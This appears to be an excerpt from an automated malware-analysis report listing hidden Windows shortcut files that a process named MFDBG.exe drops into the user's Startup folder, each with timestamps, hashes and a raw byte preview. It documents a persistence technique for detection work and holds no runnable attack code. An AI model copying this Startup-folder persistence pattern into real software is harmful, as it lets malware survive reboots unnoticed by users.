Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_59391273af5a4ed6b6d28fb20deda29e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940662824316566
Encrypted:	false
SSDEEP:	24:8hmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hs60R6rMhpBoUBxdRd1nYyg
MD5:	A7DCD8AF38D41ACF1BFBAA9512C4EFB9
SHA1:	B5B7829084C50E18DCE0CCA277C748D1D953A874
SHA-256:	29B2C00356D5DE9B9CF796B27DC4FBF9252DC072346295F98304686D9309E9FE
SHA-512:	A360DB00FBE09632A40625384C675B79C171D4DD4BE542A79538E5DAC1C37AF51ADA2E65A207C756E511A8E187FCBCE08A64EF119E13544D54C9123E42A1957A
Malicious:	false
Preview:	L..................F...."...]W%.{...r...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5a2d57af5d724de780c77e4ee2f4786b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394054
Encrypted:	false
SSDEEP:	24:8HhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bR0R6rMhpBoUBxdRd1nYyg
MD5:	5EB18893981159F8ACF7004CCC94F03A
SHA1:	F052551A3A749CAC08C16A123C61294BC6B9F957
SHA-256:	FE189D42283B09AF6D8A8FB360ED4ED2D843E0F73C06A8FECB8FEBA82F56F2B5
SHA-512:	A80ABE9464889C9FB793F264F97D708C0D9E924D8AAE4B76F3BA66090EDA0EC3BCE407193505A5305CAED44A1619B5CE0C1DB3FF384D1DB69D8E6CD215EE3340
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5a91c0400dca4fc6843447f0d9eba27c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006388
Encrypted:	false
SSDEEP:	24:8LhBf9l8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vA0R6rMhpBoUBxdRd1nYyg
MD5:	83F42FF8FE388298BE5D4B4A639F0A27
SHA1:	FFCEF216724FDB803D9D12655183965A3431F24C
SHA-256:	AC626ECA1984360A33896958BC08017DE4ECCD70D46B4C5880F18BAC0833E7BE
SHA-512:	3D46E5B86F2E0E33D69A367BB02960CCA06ECCFCDD45CE1F0649AABD41A2D3AD37C0942FFFDE423D968B1CA2C27CF8D2C313D488F3942BDBA55EB371C7902E41
Malicious:	false
Preview:	L..................F...."...]W%.{.....R.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...J...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b0a6fd42b2c408fa97a4f3295cfb919.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939109931201347
Encrypted:	false
SSDEEP:	24:8phBf/D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pnQ0R6rMhpBoUBxdRd1nYyg
MD5:	BBE338F3690A65C0B080E11D35868D2B
SHA1:	D27C84BCC7A33FCB5191AD6EF1850FDBC02E91F8
SHA-256:	6B6D6C8D9FA0451A6AE13A7DCAB0DBAD5BFD621F5C70F46CBB7842B2A8E9E620
SHA-512:	1081B5900C8964AFFD9360C7B0A7BD25A5C8328D293335376A11905FB55230CA2D2B68930F4E60D33233FFC0562EE53A9A52E38862504FBAB6196CD13E0EC972
Malicious:	false
Preview:	L..................F...."...]W%.{.....L.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@.J.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b17e7b0f75b4058b63861e49ea7b512.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9373373287123234
Encrypted:	false
SSDEEP:	24:8ihBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8IY0R6rMhpBoUBxdRd1nYyg
MD5:	9A53C5314DFF8A58717DC27BC6B72074
SHA1:	86B7105FBD240C84BAD6AB6050866763DED5764B
SHA-256:	3B8EC17BC53D934A63C3BB98AAD02765C3AC5A4BFB783D754C815C3EB5AF77D4
SHA-512:	AD426AA95BD3B2AF63410865A6173F71AE4218E26303F042A19902D763F72FDA0D1F4421D19B6B8204E5ED107A2E903C1282E120999C1B19CC3369C0D2726153
Malicious:	false
Preview:	L..................F...."...]W%.{....+..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...:...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b2e93ac97b44d91a42ba48d885fff61.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938644767880044
Encrypted:	false
SSDEEP:	24:8CwhBfl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ci60R6rMhpBoUBxdRd1nYyg
MD5:	6BA09B586906D6786427F538E1A97724
SHA1:	6F50C619D0F1BF22267E004BDC8E56D3A60CD27C
SHA-256:	5B81E125E1A6B5E1D741C77AF84FC36A6CD2C2D843A6D68B0C42B187208917F9
SHA-512:	4A1A5C758CBAE9FDD22B825F7E53D5C0E3BAE786CEDBF092A71B5E9395C3E1FA7C0CDCFA24AB3798311B8EAF6D6F9F20095D8961A88B0FA5DE6164B384516C24
Malicious:	false
Preview:	L..................F...."...]W%.{....<..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b4e7f2892d04ce9abea30c28d3a7e1d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940983994340002
Encrypted:	false
SSDEEP:	24:8shBfZ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8eW0R6rMhpBoUBxdRd1nYyg
MD5:	A286CEB23B748EC700A9D9BADB99B654
SHA1:	FDCFBB0F178A4B27DB1F0F8F81955FD09A88EA6C
SHA-256:	FFD5FD743C2B2C6F06D26DD686B0BEDA8AF7A6CCDD528B52939E7896FD91791D
SHA-512:	84AE2F2B0CD6D46CFC9FF18EC85899AB9B67D4926779BBD62DD8CE8B329271478262F2EEC961AA0331C8DF8B39DF3EFA1705CF4A2870A485AB562D650EADC46F
Malicious:	false
Preview:	L..................F...."...]W%.{.....+.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....g).\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b57b073dd944b42965210fb9319c57b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9399522070477655
Encrypted:	false
SSDEEP:	24:8h9hBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8PI0R6rMhpBoUBxdRd1nYyg
MD5:	EC25434B0427A4A31C0912B592FC1582
SHA1:	EC7A1C41615061B8698C7C08A75076B14DAD8C25
SHA-256:	77F0BD0C419D833E1DBAAC4716B45F850E1E04D91AA1DFBEB4E31A95D811A120
SHA-512:	664CECC072CF9719C673056CC4C3B518BFDBD1AC09064F23F3B2CFD3285BC1213E8FF8B811487385232B681F9BB883E7A5667EF82A00AF8082AE9B97CB1D3402
Malicious:	false
Preview:	L..................F...."...]W%.{....<d.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5bd7c079c1644ff1ae66ac3d6cd1bb5a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940443749360191
Encrypted:	false
SSDEEP:	24:8jphBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89p0R6rMhpBoUBxdRd1nYyg
MD5:	C60970F9F1AAF300D4AEB9E6F789E33B
SHA1:	4328EEFCD7F7FF24E46B04F97FF1F42078465156
SHA-256:	2FD9ACFF8C855F5E51AE58DE804C52DE7080CD26C3E82A785A9A32005E1542D1
SHA-512:	4FAC22A00649CAECA3F38781B9E294A1EC87D81D9075DE031BA9B88AF5BA618A6744065712620002F791F5CE87361F7E7822F2A3BA37C0277A81275F48FCA957
Malicious:	false
Preview:	L..................F...."...]W%.{.....V.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5c30d37b939a4e8c8052615e6dba9e1d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941108848481038
Encrypted:	false
SSDEEP:	24:8dhBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dn0R6rMhpBoUBxdRd1nYyg
MD5:	7E8C05235DD5DD2EDE6C72CF2432B8A0
SHA1:	B4A86B6C6854DDBADE5A2E22AF40481974EC6B25
SHA-256:	1736D66710EE5FF9A047B31E6EC04F8ABCA352B6E8938D540B6A17B991E299B2
SHA-512:	DA55AE557E319A5CFF3412EC67E6171C5F0428606DBAA709B2884BFCEE98ACA651CB1E701D040B227EE8C44914C796BF54A5A9A1782EA37C883A47E9CB888568
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5c442904acee4a5ba908e538689262d6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932124718985389
Encrypted:	false
SSDEEP:	24:899hBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zt0R6rMhpBoUBxdRd1nYyg
MD5:	995098CC43493043367DD0CBAC9B1997
SHA1:	6608C0EC8F3D3092512FDF471186BABF95F6D781
SHA-256:	074C6690D54A0A6E6CFCCFAF7B2AC8B4C3A1F5C4D94DD07506DC586A869DE01B
SHA-512:	DE0CAF2FAA90DA9E57C0B4D1489D500CD80553389E1DB9A0553EA320DF22D1B0CF6846489898F644760D44129F3412BE1691294B9CD490624DEB39E4C778A07B
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....&..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5cf9b7ce57b5465cb005d43dad0893e7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938016535701897
Encrypted:	false
SSDEEP:	24:8KQhBfGy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8KCuf0R6rMhpBoUBxdRd1nYyg
MD5:	5656F2706A9343B888D4FBC9F91B11C1
SHA1:	512B9BF68A2000E0568172A390BDB20706B03F24
SHA-256:	976F24A8FA7610086C888CE9568131B9B4FFF266B3B7C97D6AD6FA378864E521
SHA-512:	ECD71EEA7DC496ED946AF4247367C4A45B96DFDB6CB835B0B2F560F5A58B38C8480DD1B37D3D33A362FB491C9C80A3C46CAF9D161675CBA8D63DF2321E217D15
Malicious:	false
Preview:	L..................F...."...]W%.{...J]..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....q..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5df2e3404f2f4a3886801fb2c2554f7f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9436979286672775
Encrypted:	false
SSDEEP:	24:8shBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8e60R6rMhpBoUBxdRd1nYyg
MD5:	4C81C5C85DF37B9DEEC22A8B31E255CA
SHA1:	603D8EBC7EF2D8265DB772CB38EC7F848E299557
SHA-256:	2826FD6A558CC662FF641CDCF57C4DF874E97AB2DCA57B3FFDE67E7738276ED2
SHA-512:	D257A8AF395B4CBB2CAB867B51D3C83B2115F0A051C530430FF190AA7731A48C84247762B3D4DE2C7C75E90E285518D3C133B268099591051033105C9FB9158D
Malicious:	false
